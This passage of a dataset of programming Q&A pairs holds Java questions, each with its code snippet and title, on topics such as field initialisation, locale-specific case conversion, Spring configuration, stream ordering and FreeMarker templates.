; boolean result = ConditionResolver.resolve ( condition , paramMap ) ; if ( result ) { //do something } } ( ( a + b ) * y ) /x",Condition String Resolver in java API ? +Java,"I can not understand why a private variable is null even if it 's initialized inline . Here a snippet of my code : Well , when this code reaches B.initailizeLayout , myVariable is NULL . I thought inline field were initialized before everything else , even before constructor . Am I wrong with something ?",public abstract class A { public A ( ) { initialize ( ) ; } protected abstract void initializeLayout ( ) ; protected void initialize ( ) { // Do something initializeLayout ( ) ; } } public abstract class B extends A { private final Object myVariable = new Object ( ) ; @ Override protected void initializeLayout ( ) { // Do something with myVariable } },Java : initialized inline private final field is null +Java,"Can anyone explain , why we can do such thing and why we need thisWhy we need public inner whatever : struct , class , enum or static class ? I think that if it is inner then it must be only private or protected .",public class OuterClass { public class InnerClass { } },public inner classes +Java,"I am having trouble with Greek and Turkish when using toUpperCase ( ) with the default locale or more interestingly the two argument Locale constructor.Issue happens on Galaxy Tab S2 Android 5.0.2 ( also reproduced on 5.1.1 ) The Issue is reproducible via BOTH the Settings App AND MoreLocale 2Considering this value for title : Τέλος συνεδρίαςThese calls work fine . Both generate the correct result . If you look closely there are tick marks after the T and the P. ΤΈΛΟΣ ΣΥΝΕΔΡΊΑΣHowever , I get a different result for the default locale and the two-argument Locale constructor . This is the default Locale on my tablet : Which is used in the generic toUpperCase ( ) When I call this it returns the incorrect result . Note the missing tick marks on the T and P.ΤΕΛΟΣ ΣΥΝΕΔΡΙΑΣI get the same result if I use the two argument constructor for a new locale : ΤΕΛΟΣ ΣΥΝΕΔΡΙΑΣAdding these lines to application startup resolves the issues but is rather hackish . I would prefer to simply defer to the default locale .","title.toUpperCase ( new Locale ( `` el_GR '' ) ) title.toUpperCase ( new Locale ( `` el-GR '' ) ) Locale.getDefault ( ) == el_GR public String toUpperCase ( ) { return CaseMapper.toUpperCase ( Locale.getDefault ( ) , this , value , offset , count ) ; } title.toUpperCase ( ) title.toUpperCase ( new Locale ( `` el '' , '' GR '' ) ) String language = Locale.getDefault ( ) .getLanguage ( ) ; String country = Locale.getDefault ( ) .getCountry ( ) ; Locale.setDefault ( new Locale ( language + `` - '' + country ) ) ;",toUpperCase on Android is incorrect for two-argument and default Greek and Turkish Locales +Java,I am getting a java.lang.IllegalMonitorStateException in the wait ( ) part . I want to know what I am doing wrong here . Any ideas ? ? The complete exception that I get is as follows .,import java.util.LinkedList ; import java.util.Queue ; class Producer extends PubSub implements Runnable { @ Override public void run ( ) { synchronized ( queue ) { if ( queue.size ( ) == 99 ) { try { wait ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } queue.add ( 2 ) ; try { Thread.sleep ( 1000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } notify ( ) ; } } } class Consumer extends PubSub implements Runnable { @ Override public void run ( ) { synchronized ( queue ) { if ( queue.isEmpty ( ) ) { try { wait ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } System.out.println ( queue.poll ( ) ) ; } } } public class PubSub { static Integer QUEUE_SIZE = 100 ; Queue < Integer > queue = new LinkedList < Integer > ( ) ; public static void main ( String [ ] args ) { Producer producer = new Producer ( ) ; Consumer consumer = new Consumer ( ) ; Thread producerThread = new Thread ( producer ) ; Thread consumerThread = new Thread ( consumer ) ; producerThread.start ( ) ; consumerThread.start ( ) ; System.out.println ( `` Started both the threads '' ) ; } } Exception in thread `` Thread-1 '' Started both the threadsjava.lang.IllegalMonitorStateException at java.lang.Object.wait ( Native Method ) at java.lang.Object.wait ( Object.java:502 ) at Consumer.run ( PubSub.java:36 ) at java.lang.Thread.run ( Thread.java:745 ) Exception in thread `` Thread-0 '' java.lang.IllegalMonitorStateException at java.lang.Object.notify ( Native Method ) at Producer.run ( PubSub.java:23 ) at java.lang.Thread.run ( Thread.java:745 ),Java implementation of Producer Consumer throws java.lang.IllegalMonitorStateException +Java,"After having implemented the decorator pattern and coded a couple decorators I noticed that the API allows a user to stack incompatible decorators . Is this a natural constraint of the pattern that the API designer should live with , or a wrongful implementation of the pattern by my part ? For example imagine there is a class that may be decorated with a binary decorator that encodes data in binary , or a string decorator that encodes data in a string . Given that string decorator was used , it may be further decorated with a JSON or XML decorator . Now it is evident that after having applied the JSON decorator it would be incompatible to use the XML decorator on top of it , or if the binary decorator was used the XML/JSON decorator are of no use . Java example using the java.io package : The outcome of this is undefined but the API allows it .",InputStream is = someInputStream ; BufferedInputStream bis = new BufferedInputStream ( is ) ; ObjectInputStream ois = new ObjectInputStream ( bis ) ; DataInputStream dis = new DataInputStream ( ois ) ;,Decorate a decorator +Java,"I 'm trying to unmarshal using MOXy a json with the following structure : The first element of the array is an object and the second element is another array of complex elements . I 've really searched here at SO and the MOXy documentation for a simmilar example without any success.My best attempt at mapping the json document to JAVA classes is as follows . The root class is CountryDataResponse ( getters & setters ommited ) : ( I can see this is going to fail , because it is n't an array , but I 'm completly lost . ) PaginationInfo class models the first element of the root array and DataArray class wraps the second element , which is an Array of Data class elements . Additionally , I 've created the Indicator and Country classes for the complex types inside each Data element . The main classes ( Indicator and Country ommited ) : Now , debugging the following code : The res object ( of class JAXBElement ) has a value of type ArrayList . The first element of the array is an object of class CountryDataResponse ( it should be PaginationInfo ) , the second is another ArrayList with elements of class CountryDataResponse , too ( they should be Data instances ) .Can anyone help me , please , or it is simply a malformed json and it ca n't be automatically unmarshalled correctly ? Thank you in advance .","[ { `` page '' : 1 , `` pages '' : 1 } , [ { `` indicator '' : { `` id '' : `` IC.BUS.EASE.XQ '' , `` value '' : `` Ease of doing business index '' } , `` country '' : { `` id '' : `` 1A '' , `` value '' : `` Arab World '' } , `` value '' : `` 113.952380952381 '' , `` date '' : `` 2014 '' } , ... ] ] @ XmlRootElement @ XmlType ( propOrder = { `` paginationInfo '' , `` dataArray '' } ) public class CountryDataResponse { private DataArray dataArray ; private PaginationInfo paginationInfo ; } @ XmlRootElement ( name = `` paginationInfo '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class PaginationInfo { private int page ; private int pages ; } @ XmlRootElement ( name = `` dataArray '' ) public class DataArray { List < Data > datas ; } @ XmlRootElement ( name= '' data '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Data { private Indicator indicator ; private Country country ; private String date ; private double value ; } public static void main ( String args [ ] ) { String test = `` [ { \ '' page\ '' : 1 , \ '' pages\ '' : 1 , \ '' per_page\ '' : \ '' 1000\ '' , \ '' total\ '' : 248 } , '' + `` [ `` + `` { \ '' indicator\ '' : { \ '' id\ '' : \ '' NY.GDP.MKTP.CD\ '' , \ '' value\ '' : \ '' GDP ( current US $ ) \ '' } , '' + `` \ '' country\ '' : { \ '' id\ '' : \ '' 1A\ '' , \ '' value\ '' : \ '' Arab World\ '' } , '' + `` \ '' value\ '' : \ '' 2853079422103.94\ '' , '' + `` \ '' decimal\ '' : \ '' 1\ '' , '' + `` \ '' date\ '' : \ '' 2013\ '' } , '' + `` { \ '' indicator\ '' : { \ '' id\ '' : \ '' NY.GDP.MKTP.CD\ '' , \ '' value\ '' : \ '' GDP ( current US $ ) \ '' } , '' + `` \ '' country\ '' : { \ '' id\ '' : \ '' S3\ '' , \ '' value\ '' : \ '' Caribbean small states\ '' } , '' + `` \ '' value\ '' : \ '' 67033118185.1864\ '' , '' + `` \ '' decimal\ '' : \ '' 1\ '' , '' + `` \ '' date\ '' : \ '' 2013\ '' } '' + `` ] ] '' ; JAXBContext jc = JAXBContext.newInstance ( CountryDataResponse.class , Country.class , Data.class , DataArray.class , Indicator.class , PaginationInfo.class ) ; Unmarshaller unmarshaller = jc.createUnmarshaller ( ) ; unmarshaller.setProperty ( UnmarshallerProperties.MEDIA_TYPE , MediaType.APPLICATION_JSON ) ; unmarshaller.setProperty ( UnmarshallerProperties.JSON_INCLUDE_ROOT , false ) ; Object res = unmarshaller.unmarshal ( json , CountryDataResponse.class ) ; }",JAXB : Unmarshal heterogeneous array +Java,"Possible Duplicate : Java final modifier This is just a small question about preferences . What would be the correct usage for the final modifier ? I have noticed that going from source-to-source that I tend to use it more than others . I put it for the parameters for a method , for variables in the method and what ever I can . Is that necessary or am I just overdoing it ? Reference :","private final int x ; private final int y ; private final int id ; private final int width ; private final int height ; public Widget ( final int id , final int x , final int y , final int width , final int height ) { this.id = id ; this.x = x ; this.y = y ; this.xmod = x ; this.ymod = y ; this.width = width ; this.height = height ; }",Proper use of final +Java,"I have Spring configuration in my project . In that context.xml is dynamically rewritten by me in Java . My question is , why the beans namespace URL is not coming after the file is rewritten ? My context.xml file before rewrite : My Java code to rewrite the context.xml : After context.xml is rewritten : Here the rewritten context.xml file is missing the XML namespace Why this xmlns is missing while rewriting ?","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : context= '' http : //www.springframework.org/schema/context '' xmlns : util= '' http : //www.springframework.org/schema/util '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-2.0.xsd http : //www.springframework.org/schema/util http : //www.springframework.org/schema/util/spring-util-2..xsd http : //www.springframework.org/schema/context http : //www.springframework.org/schema/context/spring-context-2.5.xsd `` > < ! -- < context : annotation-config / > -- > < bean class= '' org.springframework.ws.client.core.WebServiceTemplate '' id= '' webServiceTemplate '' > < constructor-arg ref= '' messageFactory '' / > < property name= '' marshaller '' ref= '' xmlbeansMarshaller '' / > < property name= '' unmarshaller '' ref= '' xmlbeansMarshaller '' / > < property name= '' defaultUri '' > < value > https : //google.com < /value > < /property > < /bean > < /beans > DocumentBuilderFactory docFactory1 = DocumentBuilderFactory.newInstance ( ) ; DocumentBuilder docBuilder1 = docFactory1.newDocumentBuilder ( ) ; Document doc1 = docBuilder1.parse ( afilePath ) ; Node incIncident1 = doc1.getElementsByTagName ( `` beans '' ) .item ( 0 ) ; NodeList beanList = incIncident1.getChildNodes ( ) ; NodeList beanlist1 = beanList.item ( 25 ) .getChildNodes ( ) ; List < Map < String , String > > aunitDetails = be.extendedData.get ( `` uicdsDetails '' ) ; if ( aunitDetails ! = null ) { for ( int i = 0 ; i < aunitDetails.size ( ) ; i++ ) { Map < String , String > unitLogDetails = aunitDetails.get ( i ) ; NodeList beanList2= beanlist1.item ( 7 ) .getChildNodes ( ) ; if ( unitLogDetails.get ( `` uURL '' ) ! = null ) { beanList2.item ( 0 ) .setTextContent ( unitLogDetails.get ( `` uicdsURL '' ) ) ; } else { beanList2.item ( 0 ) .setTextContent ( `` https : //google.com '' ) ; } TransformerFactory transformerFactory1 = TransformerFactory.newInstance ( ) ; Transformer transformer1 = transformerFactory1.newTransformer ( ) ; System.out.println ( doc ) ; DOMSource source1 = new DOMSource ( doc1 ) ; StreamResult result1 = new StreamResult ( new File ( afilePath ) ) ; transformer1.transform ( source1 , result1 ) ; } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans xmlns : context= '' http : //www.springframework.org/schema/context '' xmlns : util= '' http : //www.springframework.org/schema/util '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-2.0.xsd http : //www.springframework.org/schema/util http : //www.springframework.org/schema/util/spring-util-2..xsd http : //www.springframework.org/schema/context http : //www.springframework.org/schema/context/spring-context-2.5.xsd `` > < ! -- < context : annotation-config / > -- > < bean class= '' org.springframework.ws.client.core.WebServiceTemplate '' id= '' webServiceTemplate '' > < constructor-arg ref= '' messageFactory '' / > < property name= '' marshaller '' ref= '' xmlbeansMarshaller '' / > < property name= '' unmarshaller '' ref= '' xmlbeansMarshaller '' / > < property name= '' defaultUri '' > < value > https : //google.com < /value > < /property > < /bean > < /beans > xmlns= '' http : //www.springframework.org/schema/beans ''",Rewrite options in Context.xml file using Spring +Java,"Guava Objects ( deprecated ) or MoreObjects implements the ToStringHelper class using builder pattern , the add ( ) function is implemented for both primitive type and Object : the class works fine even without the overloading of primitive types , because the autoboxing converts and calls the add ( String , Object ) function . So my question is the reason of using overloading for all primitives to avoid autoboxing ? 1.repetitive autoboxing can be a huge overhead , but for most use case , this is not going to happen . Effective Java item 49 , prefer primitive types to boxed primitives . 2.Efffective Java , Item 41 , P193 , A safe conservative policy is never to export two overloadings with the same number of parameters.the ToStringHelper example is a obvious violation of this policy . The author goes on to talk about in class ObjectOutputStream , different primitives has their own function : writeBoolean ( boolean ) , writeInt ( int ) ... I was never able to understand the advantage of using different name to avoid overloading for this specific example , why is it good ? Any input will be welcomed .","public ToStringHelper add ( String name , @ Nullable Object value ) public ToStringHelper add ( String name , boolean value ) public ToStringHelper add ( String name , char value ) ... ( other primitive type )","Guava , Objects/MoreObjects overloading to avoid autoboxing ." +Java,"I have been trying to find clear contract from official Java documentation as to in which order Java streams , once a terminal operation is called , process the elements and call intermediate operations.For example lets look at these examples that use both Java stream version and plain iteration version ( both producing same outcome ) .Example1 : Will the Java stream in findFirstUsingStreams method after findFirst is called run map1 in the order described in findFirstUsingLoopV1 ( map is not run for all elements ) or as described in findFirstUsingLoopV2 ( map is run for all elements ) ? And will that order change in future versions of Java or there is an official documentation that guarantees us the order of map1 calls ? Example2 : Again will the Java stream in collectUsingStreams method after collect is called run f1 and f2 in the order described in collectUsingLoopV1 ( f1 is evaluated before f2 ) or as described in collectUsingLoopV2 ( f2 is evaluated before f1 ) ? And will that order change in future versions of Java or there is an official documentation that guarantees us the order of f1 and f2 calls ? EditThanks for all the answers and comment but unfortunately I still dont see good explanation on the ordering of processing the elements . The docs do say that the encounter order will be preserved for lists but they dont specify how those elements will be processed . For example in case of findFirst the docs guarantees that map1 will first see 1 then 2 but it does not say that map1 wont be executed for 4 and 5 . Does it mean that we cant guarantee that our order of processing will be as we expect the in fure versions of Java ? Probably yes .","List < Integer > ints = Arrays.asList ( 1 , 2 , 3 , 4 , 5 ) ; Function < Integer , Integer > map1 = i - > i ; Predicate < Integer > f1 = i - > i > 2 ; public int findFirstUsingStreams ( List < Integer > ints ) { return ints.stream ( ) .map ( map1 ) .filter ( f1 ) .findFirst ( ) .orElse ( -1 ) ; } public int findFirstUsingLoopV1 ( List < Integer > ints ) { for ( int i : ints ) { int mappedI = map1.apply ( i ) ; if ( f1.test ( mappedI ) ) return mappedI ; } return -1 ; } public int findFirstUsingLoopV2 ( List < Integer > ints ) { List < Integer > mappedInts = new ArrayList < > ( ints.size ( ) ) ; for ( int i : ints ) { int mappedI = map1.apply ( i ) ; mappedInts.add ( mappedI ) ; } for ( int mappedI : mappedInts ) { if ( f1.test ( mappedI ) ) return mappedI ; } return -1 ; } Predicate < Integer > f1 = i - > i > 2 ; Predicate < Integer > f2 = i - > i > 3 ; public List < Integer > collectUsingStreams ( List < Integer > ints ) { return ints.stream ( ) .filter ( f1 ) .filter ( f2 ) .collect ( Collectors.toList ( ) ) ; } public List < Integer > collectUsingLoopV1 ( List < Integer > ints ) { List < Integer > result = new ArrayList < > ( ) ; for ( int i : ints ) { if ( f1.test ( i ) & & f2.test ( i ) ) result.add ( i ) ; } return result ; } public List < Integer > collectUsingLoopV2 ( List < Integer > ints ) { List < Integer > result = new ArrayList < > ( ) ; for ( int i : ints ) { if ( f2.test ( i ) & & f1.test ( i ) ) result.add ( i ) ; } return result ; }",Java stream operation order of execution at terminal point +Java,Can I do this with a single calculation ? ( ignoring the ternary operator ),if ( metres > = 0 ) return true ; else return false ;,Alternative to if statement in this simple example +Java,"This is a question about something that I am not sure how to solve in Java . I want to make triple statements based on three types of data , URI , String or Literal , each type is encoded differently . I have written encode methods that accept these types.But as I can accept any combination of these types this would require 9 makeStatement functions , which are basically doing the same thing and that seems like a bad idea , especially since it might be possible I want to add another type later on . Normally I would answer such a question with the suggestion to create a superClass , but I can not edit String , URI and Literal . Another option would be to defineand then check the classes for each argument , but I consider this not very elegant . Another suggestion would be to define something like makeStatement ( URI subjectURI , String subjectString , Literal subjectLiteral , URI predicateURI.. etc ) and then check which arguments are null and go from there , but that would mean typing a lot of nulls when I call the function.A third option would be https : //stackoverflow.com/a/12436592/1014666 , but again this require quite some extra typing when calling the makeStatement function.Any suggestions ?","public static String makeStatement ( URI subject , URI predicate , String object ) { return `` `` + encode ( subject ) + `` `` + encode ( predicate ) + `` `` + encode ( object ) + `` .\n '' ; } public static String makeStatement ( String subject , URI predicate , String object ) { return `` `` + encode ( subject ) + `` `` + encode ( predicate ) + `` `` + encode ( object ) + `` .\n '' ; } public static String makeStatement ( URI subject , URI predicate , Literal object ) { return `` `` + encode ( subject ) + `` `` + encode ( predicate ) + `` `` + encode ( object ) + `` .\n '' ; } private static String encode ( String binding ) { return `` ? '' + binding ; } private static String encode ( URI uri ) { return `` < `` + uri.stringValue ( ) + `` > '' ; } private static String encode ( Literal literal ) { return `` \ '' '' + literal.stringValue ( ) + `` \ '' '' + literal.getDatatype ( ) ; } public static String makeStatement ( Object subject , Object predicate , Object object ) { String encodedSubject = `` '' , encodedPredicate = `` '' , encodedObject = `` '' ; if ( subject.getClass ( ) .equals ( URI.class ) ) { encodedSubject = encode ( ( URI ) subject ) ; } return `` `` + encode ( encodedSubject ) + `` `` + encode ( encodedPredicate ) + `` `` + encode ( encodedObject ) + `` .\n '' ; }",Accepting different types of arguments in Java +Java,"I have a DFS visit recursive method that sometimes throws a StackOverflowError . Since the size of the graph is large ( around 20000 vertices ) , recursive calls are many , and so I tried to run with -Xss10M and everything works . I 'd just like to understand why adding at the beginning of the method a System.out.println , even without -Xss10M , the method does n't throw any StackOverflowError . How is it possible ? This is the DFS visit method : This is the complete codehere 's the test classN.B . try to comment g.dijkstra ( START ) and g.printPath ( END ) ; everything seems to work.Here 's the link to the data set","private int dfsVisit ( Vertex < T > v , int time ) { // System.out.println ( `` Hello '' ) ; Vertex < T > n ; time++ ; v.d = time ; v.color = Vertex.Color.GRAY ; for ( Map.Entry < Vertex < T > , Float > a : v.neighbours.entrySet ( ) ) { n = a.getKey ( ) ; if ( n.color == Vertex.Color.WHITE ) { n.previous = v ; time = dfsVisit ( n , time ) ; } } v.color = Vertex.Color.BLACK ; time++ ; v.f = time ; return time ; } import java.io . * ; import java.util . * ; class Graph < T > { private final Map < T , Vertex < T > > graph ; public static class Edge < T > { public final T v1 , v2 ; public final float dist ; public Edge ( T v1 , T v2 , float dist ) { this.v1 = v1 ; this.v2 = v2 ; this.dist = dist ; } } public static class Vertex < T > implements Comparable < Vertex > { // SPOSTARE VAR IST NEL COSTRUTTORE public enum Color { WHITE , GRAY , BLACK , UNKNOWN } ; public final T name ; public float dist ; public Vertex < T > previous ; public final Map < Vertex < T > , Float > neighbours ; public Color color ; public int d , f ; public Vertex ( T name ) { this.name = name ; dist = Float.MAX_VALUE ; previous = null ; neighbours = new HashMap < Vertex < T > , Float > ( ) ; // adjacency list color = Color.UNKNOWN ; d = 0 ; f = 0 ; } private void printPath ( ) { if ( this == this.previous ) { System.out.print ( this.name ) ; } else if ( this.previous == null ) { System.out.print ( this.name + `` unreached '' ) ; } else { this.previous.printPath ( ) ; System.out.print ( `` - > `` + this.name + `` ( `` + this.dist + `` ) '' ) ; } } public int compareTo ( Vertex other ) { if ( this.dist == other.dist ) return 0 ; else if ( this.dist > other.dist ) return 1 ; else return -1 ; } } // Builds a graph from an array of edges public Graph ( ArrayList < Graph.Edge > edges ) { graph = new HashMap < > ( edges.size ( ) ) ; // add vertices for ( Edge < T > e : edges ) { if ( ! graph.containsKey ( e.v1 ) ) graph.put ( e.v1 , new Vertex < > ( e.v1 ) ) ; if ( ! graph.containsKey ( e.v2 ) ) graph.put ( e.v2 , new Vertex < > ( e.v2 ) ) ; } // create adjacency list for ( Edge < T > e : edges ) { graph.get ( e.v1 ) .neighbours.put ( graph.get ( e.v2 ) , e.dist ) ; graph.get ( e.v2 ) .neighbours.put ( graph.get ( e.v1 ) , e.dist ) ; } } public void dijkstra ( T startName ) { if ( ! graph.containsKey ( startName ) ) { System.err.println ( `` Graph does n't contain start vertex `` + startName ) ; return ; } final Vertex < T > source = graph.get ( startName ) ; NavigableSet < Vertex < T > > q = new TreeSet < > ( ) ; // priority queue // set-up vertices for ( Vertex < T > v : graph.values ( ) ) { v.previous = v == source ? source : null ; v.dist = v == source ? 0 : Float.MAX_VALUE ; q.add ( v ) ; } dijkstra ( q ) ; } private void dijkstra ( final NavigableSet < Vertex < T > > q ) { Vertex < T > u , v ; while ( ! q.isEmpty ( ) ) { u = q.pollFirst ( ) ; if ( u.dist == Float.MAX_VALUE ) break ; // ? ? ? ? ? ? ? ? ? ? ? for ( Map.Entry < Vertex < T > , Float > a : u.neighbours.entrySet ( ) ) { v = a.getKey ( ) ; final float alternateDist = u.dist + a.getValue ( ) ; if ( alternateDist < v.dist ) { q.remove ( v ) ; v.dist = alternateDist ; v.previous = u ; q.add ( v ) ; } } } } public void printPath ( T endName ) { if ( ! graph.containsKey ( endName ) ) { System.err.println ( `` Graph does n't contain end vertex `` + `` \ '' '' + endName + `` \ '' '' ) ; return ; } graph.get ( endName ) .printPath ( ) ; System.out.println ( ) ; } public void printAllPaths ( ) { for ( Vertex < T > v : graph.values ( ) ) { v.printPath ( ) ; System.out.println ( ) ; } } public Vertex < T > getVertex ( T key ) { if ( graph.containsKey ( key ) ) return graph.get ( key ) ; return null ; } public void printAdjacencyList ( ) { System.out.println ( `` Adjacency list : '' ) ; for ( Vertex < T > v : graph.values ( ) ) { System.out.print ( v.name + `` : \t '' ) ; for ( Map.Entry < Vertex < T > , Float > a : v.neighbours.entrySet ( ) ) { System.out.print ( a.getKey ( ) .name + `` ( `` + a.getValue ( ) + `` ) | `` ) ; } System.out.println ( ) ; } } /* P.S . I know that if only used to calculate the connected components of the graph , dfs visit could be written differently but I preferred to write it in a more general way , so that it can be reused if necessary . */ private int dfsVisit ( Vertex < T > v , int time ) { // System.out.println ( `` ciao '' ) ; Vertex < T > n ; time++ ; v.d = time ; v.color = Vertex.Color.GRAY ; for ( Map.Entry < Vertex < T > , Float > a : v.neighbours.entrySet ( ) ) { n = a.getKey ( ) ; if ( n.color == Vertex.Color.WHITE ) { n.previous = v ; time = dfsVisit ( n , time ) ; } } v.color = Vertex.Color.BLACK ; time++ ; v.f = time ; return time ; } /* Print the size of the connected components of the graph */ public void connectedComponents ( ) { for ( Vertex < T > v : graph.values ( ) ) { v.color = Vertex.Color.WHITE ; v.previous = null ; } for ( Vertex < T > v : graph.values ( ) ) { if ( v.color == Vertex.Color.WHITE ) System.out.println ( dfsVisit ( v , 0 ) /2 ) ; } } } import java.io . * ; import java.util . * ; public class Dijkstra { private static ArrayList < Graph.Edge > a = new ArrayList < Graph.Edge > ( ) ; private static final String START = `` torino '' ; private static final String END = `` catania '' ; public static void main ( String [ ] args ) { String fileName = `` italian_dist_graph.txt '' ; try { Scanner inputStream = new Scanner ( new File ( fileName ) ) ; String record ; while ( inputStream.hasNextLine ( ) ) { record = inputStream.nextLine ( ) ; String [ ] array = record.split ( `` , '' ) ; String from = array [ 0 ] ; String to = array [ 1 ] ; float dist = Float.parseFloat ( array [ 2 ] ) ; a.add ( new Graph.Edge ( from , to , dist ) ) ; } inputStream.close ( ) ; } catch ( FileNotFoundException e ) { System.out.println ( `` Impossibile trovare il file `` +fileName ) ; } Graph < String > g = new Graph < String > ( a ) ; g.dijkstra ( START ) ; g.printPath ( END ) ; //System.out.printf ( `` % f\n '' , g.getVertex ( END ) .dist/1000.0f ) ; g.connectedComponents ( ) ; } } https : //drive.google.com/open ? id=0B7XZY8cd0L_fZVl1aERlRmhQN0k",StackOverflowError while running Depth First Search ( undirected graph ) +Java,"I want to use the HTTPSessionIdResolver for everything located under `` /api** '' and for everything else the standard CookieResolver . How is this possible , so that the two configurations use different resolvers ? With my current approach everything uses X-AUTH.I tried to understand the implementation within Spring and I end up in the SessionRepositoryFilter , but of this filter only one instance is created , so der exists only one resolver.I could move the logic into one resolver which delegates the work to the existing resolvers , but this seems hacky ?","@ EnableWebSecurity public class TestConfig { @ EnableSpringHttpSession @ Configuration @ Order ( 1 ) public static class Abc extends WebSecurityConfigurerAdapter { @ Bean @ Primary public HeaderHttpSessionIdResolver xAuth ( ) { return HeaderHttpSessionIdResolver.xAuthToken ( ) ; } @ Bean @ Primary public MapSessionRepository mapSessionRepository ( ) { return new MapSessionRepository ( new HashMap < > ( ) ) ; } @ Override protected void configure ( HttpSecurity http ) throws Exception { http.antMatcher ( `` /service/json/** '' ) .authorizeRequests ( ) .anyRequest ( ) .authenticated ( ) .and ( ) .httpBasic ( ) .and ( ) .csrf ( ) .disable ( ) ; } } @ EnableSpringHttpSession @ Configuration @ Order ( 2 ) public static class WebSecurityConfig extends WebSecurityConfigurerAdapter { @ ConfigurationProperties ( prefix = `` spring.datasource '' ) @ Bean @ Primary public DataSource dataSource ( ) { return DataSourceBuilder .create ( ) .build ( ) ; } @ Override protected void configure ( HttpSecurity http ) throws Exception { http.authorizeRequests ( ) .antMatchers ( `` /css/** '' , `` /user/registration '' , `` /webfonts/** '' ) .permitAll ( ) .anyRequest ( ) .authenticated ( ) .and ( ) .formLogin ( ) .loginPage ( `` /login '' ) .permitAll ( ) .and ( ) .logout ( ) .permitAll ( ) ; } @ Bean public BCryptPasswordEncoder bcrypt ( ) { return new BCryptPasswordEncoder ( ) ; } @ Bean public JdbcUserDetailsManager userDetailsManager ( ) { JdbcUserDetailsManager manager = new UserDetailsManager ( dataSource ( ) ) ; manager.setUsersByUsernameQuery ( `` select username , password , enabled from users where username= ? `` ) ; manager.setAuthoritiesByUsernameQuery ( `` select username , authority from authorities where username = ? `` ) ; return manager ; } @ Autowired public void initialize ( AuthenticationManagerBuilder builder ) throws Exception { builder.userDetailsService ( userDetailsManager ( ) ) .passwordEncoder ( bcrypt ( ) ) ; } } } public class SmartHttpSessionIdResolver implements HttpSessionIdResolver { private static final String HEADER_X_AUTH_TOKEN = `` X-Auth-Token '' ; private static final CookieHttpSessionIdResolver cookie = new CookieHttpSessionIdResolver ( ) ; private static final HeaderHttpSessionIdResolver xauth = HeaderHttpSessionIdResolver.xAuthToken ( ) ; @ Override public List < String > resolveSessionIds ( HttpServletRequest request ) { if ( isXAuth ( request ) ) { return xauth.resolveSessionIds ( request ) ; } return cookie.resolveSessionIds ( request ) ; } @ Override public void setSessionId ( HttpServletRequest request , HttpServletResponse response , String sessionId ) { if ( isXAuth ( request ) ) { xauth.setSessionId ( request , response , sessionId ) ; } else { cookie.setSessionId ( request , response , sessionId ) ; } } @ Override public void expireSession ( HttpServletRequest request , HttpServletResponse response ) { if ( isXAuth ( request ) ) { xauth.expireSession ( request , response ) ; } else { cookie.expireSession ( request , response ) ; } } private boolean isXAuth ( HttpServletRequest request ) { return request.getHeader ( HEADER_X_AUTH_TOKEN ) ! = null ; } }",Use multiple HttpSessionIdResolver with Spring +Java,"I want to reuse some integration tests for load testing purposes . I implemented a rule which is parameterized by an annotation : In my rule implementation the annotation is evaluated and a statement is set up , which has a evaluate method like that : So , the evaluate call gets wrapped in a Runnable ( ) and scheduled as described in the annotation . The thing is : In my rule , only the scheduling takes place , the runner doesn´t know ( or care ) about all the runables which only run as long as it takes to set up the whole test suite . So I´m trying to add the calls to evalute ( ) to the test runner . First try was to use JUnitCore.run ( ... ) which of course ends in a recursion.Next try was to collect all the futures and wait for them to finish . This works fine on a per test basis , but I want to execute a whole test suite in parallel . And also , in my test report , I only see the test being executed once.So then I thought I use a parameterized suite with a context ( an object which collects all the futures from all tests ) as parameter , but I didn´t found a way to promote this context object to the tests , each test has to have its own parameters.I´m now asking for a way to add multiple executions from my rule to the test runner which is executing it .","@ Target ( ElementType.METHOD ) @ Retention ( RetentionPolicy.RUNTIME ) public @ interface Parallel { int invocations ( ) default 1 ; int rampUpTime ( ) default 0 ; } @ Overridepublic void evaluate ( ) throws Throwable { ScheduledExecutorService exe = Executors.newScheduledThreadPool ( invocations ) ; for ( int i = 0 ; i < invocations ; i++ ) { ScheduledFuture < ? > scheduledFuture = exe.schedule ( new Runnable ( ) { @ Override public void run ( ) { try { invocated++ ; // Request test = Request.method ( description.getTestClass ( ) , description.getMethodName ( ) ) ; // new JUnitCore ( ) .run ( test ) ; statement.evaluate ( ) ; } catch ( Throwable e ) { e.printStackTrace ( ) ; } } } , i * rampUpTime , this.timeUnit ) ; futures.add ( scheduledFuture ) ; } }",Parallelize test execution in a @ Rule +Java,I have a Java project uncompiled . Entry point is the main method in maui.main.MauiModelBuilder which is passed some parameters by command line.The author of the code provides this suggestion to compile it : What 's the meaning of `` lib/* : src '' in this case ? I never saw such a syntax .,java -cp `` lib/* : src '' maui.main.MauiModelBuilder -l data/automatic_tagging/train/ -m test -v none,Meaning of `` * : '' in java classpath specification +Java,I want to deploy a few Freemarker templates with my Google App Engine java application to use as email body templates . I 'm using freemarker-gae-2.3.23.jar.My question is where within the war file should I place my template files so that the Freemarker Configuration class can find them ? I thought WEB-INF/classes/templates would work but I 'm getting the following error when I run it on a GAE instance . getRealPath ( ) does not give any insight either . Empty string is returned . Any thoughts or suggestions much appreciated.My basic config is as follows :,"SEVERE : Template ./templates/invitation.ftl not found.java.lang.RuntimeException : Error in loading ftl template : Template ./templates/invitation.ftl not found . public class FreeMarkerConfig { private static FreeMarkerConfig freeMarkerConfig = null ; private static Configuration cfg = null ; private static final Logger logger = Logger.getLogger ( FreeMarkerConfig.class.getName ( ) ) ; private FreeMarkerConfig ( ServletContext context ) { cfg = new Configuration ( ) ; cfg.setServletContextForTemplateLoading ( context , `` /templates '' ) ; } public static FreeMarkerConfig getInstance ( ServletContext context ) { if ( freeMarkerConfig == null ) { freeMarkerConfig = new FreeMarkerConfig ( context ) ; return freeMarkerConfig ; } return freeMarkerConfig ; } public static Template getTemplateByName ( String 